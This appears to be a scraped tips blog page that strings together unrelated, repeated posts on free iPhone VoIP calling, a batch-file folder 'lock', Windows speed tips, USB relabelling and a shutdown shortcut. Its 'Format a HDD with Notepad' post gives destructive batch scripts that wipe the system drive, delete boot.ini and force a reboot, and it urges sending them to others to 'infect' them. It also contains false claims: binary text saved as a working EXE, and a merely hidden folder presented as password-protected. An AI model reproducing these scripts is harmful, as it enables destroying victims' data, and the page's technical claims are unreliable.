Free Calling to Any US Phone From Your iPhone
This method REQUIRES a WiFi connection and jailbroken iPhone!!!
Thanks goes to Unique311 at internettablettalk for first showing me how to do this on the Nokia N800/N810 Internet Tablets. I’m sure others came before him on the PC method. What’s new is it now works on the iPhone.
You need 3 accounts:
1) grandcentral at www.grandcentral.com (Edit: This should be your first check – they look to be closed for new users)
2) gizmo at www.gizmoproject.com
3) Fring on your iPhone (www.fring.com)
Watch gigafied’s video to get started:
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You don’t need to install Gizmo if you’re using just the iPhone. But free calling from the PC will require the softphone of Gizmo.
The extra step Unique311 shows is adding the gizmo number to each contact in grandcentral. For the iPhone, watch up to 1:32. By the way, you have to enter contacts that you want to call on your iPhone in grandcentral on your PC, and unfortunately that’s still a manual process. Here’s Unique311’s video:
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Now…install Fring. Instructions here:
http://www.fring.com/iphone/
Once you get Fring installed
Open Fring.
Tap “Communitiesâ€
Tap SIP
Enter your Gizmo username and password
Enter Proxy as: proxy01.sipphone.com
I then tap on the “Dialerâ€
Leave that open (Don’t “Exit”) and click the “Home†button to go back to the Springboard.
Open Safari.
Go to www.grandcentral.com/mobile
Log in.
Click “Contacts.â€
Click a contact.
Click the word “call†next to the phone number. Fring will pop up and ask you to Accept or Decline. Click Accept and your free call is placed. (If you accidentally click the phone number, a black/gray screen pops up with the number and you can Cancel or Call. Cancel this. This is placing your call over the cell/mobile providers network = not free.)
It sounds complicated, but once you get setup and grandcentral bookmarked – it only takes a few seconds to make a call.
Fring is Beta, but it worked well on my one-hour free call from Berlin, Germany to Minnesota last night.
Cheers.
PS: Use the Gizmo softphone (just leave it open when calling from grandcentral) for free PC calls and similar VOIP phones on Windows Mobile and the Nokia Internet Tablets.
Friday, March 12, 2010
Format A HDD With Notepad
If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Folder Lock Without Any Software
-: Folder Lock Without Any Software :-
Folder Lock With Password Without Any Software-
Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
Folder Lock With Password Without Any Software-
Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
How to use symbols like Trade Mark™
Press and hold the "Alt" key
then type 0153
For example:Trade Mark™(Alt+0153)
then type 0153
For example:Trade Mark™(Alt+0153)
Top Ten Tips To Improve System Speed
Top Ten Tips To Improve System Speed
1.Let your PC boot up completely before opening any applications.
2.Refresh the desktop after closing any application. This will remove any unused files from the RAM.
3.Do not set very large file size images as your wallpaper. Do not keep a wallpaper at all if your PC is low on RAM (less than 64 MB).
4.Do not clutter your Desktop with a lot of shortcuts. Each shortcut on the desktop uses up to 500 bytes of RAM
5.Empty the recycle bin regularly. The files are not really deleted from your hard drive until you empty the recycle bin.
6.Delete the temporary internet files regularly.
7.Defragment your hard drive once every two months. This will free up a lot of space on your hard drive and rearrange the files so that your applications run faster.
8.Always make two partitions in your hard drive. Install all large Softwares (like PSP, Photoshop, 3DS Max etc) in the second partition. Windows uses all the available empty space in C drive as virtual memory when your Computer RAM is full. Keep the C Drive as empty as possible.
9.When installing new Softwares disable the option of having a tray icon. The tray icons use up available RAM, and also slow down the booting of your PC. Also disable the option of starting the application automatically when the PC boots. You can disable these options later on also from the Tools or preferences menu in your application.
10. Protect your PC from dust. Dust causes the CPU cooling fan to jam and slow down thereby gradually heating your CPU and affecting the processing speed. Use compressed air to blow out any dust from the CPU. Never use vacuum.
RAM IS THE WORKING AREA (DESKTOP) OF THE CPU, KEEP IT AS EMPTY AND UNCLUTTERED AS POSSIBLE!
1.Let your PC boot up completely before opening any applications.
2.Refresh the desktop after closing any application. This will remove any unused files from the RAM.
3.Do not set very large file size images as your wallpaper. Do not keep a wallpaper at all if your PC is low on RAM (less than 64 MB).
4.Do not clutter your Desktop with a lot of shortcuts. Each shortcut on the desktop uses up to 500 bytes of RAM
5.Empty the recycle bin regularly. The files are not really deleted from your hard drive until you empty the recycle bin.
6.Delete the temporary internet files regularly.
7.Defragment your hard drive once every two months. This will free up a lot of space on your hard drive and rearrange the files so that your applications run faster.
8.Always make two partitions in your hard drive. Install all large Softwares (like PSP, Photoshop, 3DS Max etc) in the second partition. Windows uses all the available empty space in C drive as virtual memory when your Computer RAM is full. Keep the C Drive as empty as possible.
9.When installing new Softwares disable the option of having a tray icon. The tray icons use up available RAM, and also slow down the booting of your PC. Also disable the option of starting the application automatically when the PC boots. You can disable these options later on also from the Tools or preferences menu in your application.
10. Protect your PC from dust. Dust causes the CPU cooling fan to jam and slow down thereby gradually heating your CPU and affecting the processing speed. Use compressed air to blow out any dust from the CPU. Never use vacuum.
RAM IS THE WORKING AREA (DESKTOP) OF THE CPU, KEEP IT AS EMPTY AND UNCLUTTERED AS POSSIBLE!
Renaming USB Drive Labels in Linux
Renaming USB Drive Labels in Linux
There, you got all the inspirations from the web and your friends and have now Linux proudly running on your system. (Linux is the kernel, ya ya I know you got it). Your friend approaches you to help him get rid of the virus in his USB drive. And you are proud you are of help in terminating viruses with ease, thanks to Linux’s security. And he asks you to do a favour. To rename the USB drive label to his name, from the name “disk”.
You try to rename it from the terminal, but it fails. (Yes, command mv doesn’t work here.)
You open /media, right click on the USB Drive folder and go to Properties. But you find no option there either to change the drive Label! (Am talking with respect to Ubuntu. It’s great if other distros have it).
Did your new Linux system fail you? In Windows, you can rename Labels of USB’s just by visiting its Properties. Can’t Linux do even this simple thing!
Let me assure you that, you can, but in a slightly round about way.
From Terminal
You will be using the mlabel command.
1. First type the mount command to find out the device location of you pen drive. Find the line which goes like “/dev/sdc1 on /media/disk …”.
2. This means the device sdc1 which is my pen drive is mounted on /media/disk.
3. Next unmount the device.
sudo unmount /media/disk
4. Next use this command.
sudo mlabel -i /dev/sdc1 ::
If you get a message like:
Total number of sectors (7831520) not a multiple of sectors per track (63)!
You can easily ignore the check by running this command:
echo mtools_skip_check=1 >> ~/.mtoolsrc
Try again and it should work.
5. The name of the USB should have changed. Unplug and Plug the pen drive back in and it will be mounted with the new label name.
The GUI way
1. For this you need the Gparted software. Install it if you don’t have it already.
2. Open the software as a super user, and select the pen drive from GParted>Devices>
3. Unmount the device if it hasn’t been, by right clicking on it.
4. After unmounting, right click on it and select “Label” and change it to whatever you want it to be. And then Apply it, by clicking the Edit>Apply All Operations.
5. Your pendrives label should be changed now.
Yes, it is a pretty around the way method. But unfortunately, nautilus doesn’t currently support partition renaming. Hope it’s there in Karmic Koala!
There, you got all the inspirations from the web and your friends and have now Linux proudly running on your system. (Linux is the kernel, ya ya I know you got it). Your friend approaches you to help him get rid of the virus in his USB drive. And you are proud you are of help in terminating viruses with ease, thanks to Linux’s security. And he asks you to do a favour. To rename the USB drive label to his name, from the name “disk”.
You try to rename it from the terminal, but it fails. (Yes, command mv doesn’t work here.)
You open /media, right click on the USB Drive folder and go to Properties. But you find no option there either to change the drive Label! (Am talking with respect to Ubuntu. It’s great if other distros have it).
Did your new Linux system fail you? In Windows, you can rename Labels of USB’s just by visiting its Properties. Can’t Linux do even this simple thing!
Let me assure you that, you can, but in a slightly round about way.
From Terminal
You will be using the mlabel command.
1. First type the mount command to find out the device location of you pen drive. Find the line which goes like “/dev/sdc1 on /media/disk …”.
2. This means the device sdc1 which is my pen drive is mounted on /media/disk.
3. Next unmount the device.
sudo unmount /media/disk
4. Next use this command.
sudo mlabel -i /dev/sdc1 ::
If you get a message like:
Total number of sectors (7831520) not a multiple of sectors per track (63)!
You can easily ignore the check by running this command:
echo mtools_skip_check=1 >> ~/.mtoolsrc
Try again and it should work.
5. The name of the USB should have changed. Unplug and Plug the pen drive back in and it will be mounted with the new label name.
The GUI way
1. For this you need the Gparted software. Install it if you don’t have it already.
2. Open the software as a super user, and select the pen drive from GParted>Devices>
3. Unmount the device if it hasn’t been, by right clicking on it.
4. After unmounting, right click on it and select “Label” and change it to whatever you want it to be. And then Apply it, by clicking the Edit>Apply All Operations.
5. Your pendrives label should be changed now.
Yes, it is a pretty around the way method. But unfortunately, nautilus doesn’t currently support partition renaming. Hope it’s there in Karmic Koala!
One Click Shutdown
Creating Shutdown Icon or One Click Shutdown:
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in “Type Location of the Item”
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace “C” with the correct letter of the hard drive. Click the “Next” button. Name the shortcut and click the “Finish” button. Now whenever you want to shut down, just click on this shortcut and you’re done.
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in “Type Location of the Item”
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace “C” with the correct letter of the hard drive. Click the “Next” button. Name the shortcut and click the “Finish” button. Now whenever you want to shut down, just click on this shortcut and you’re done.
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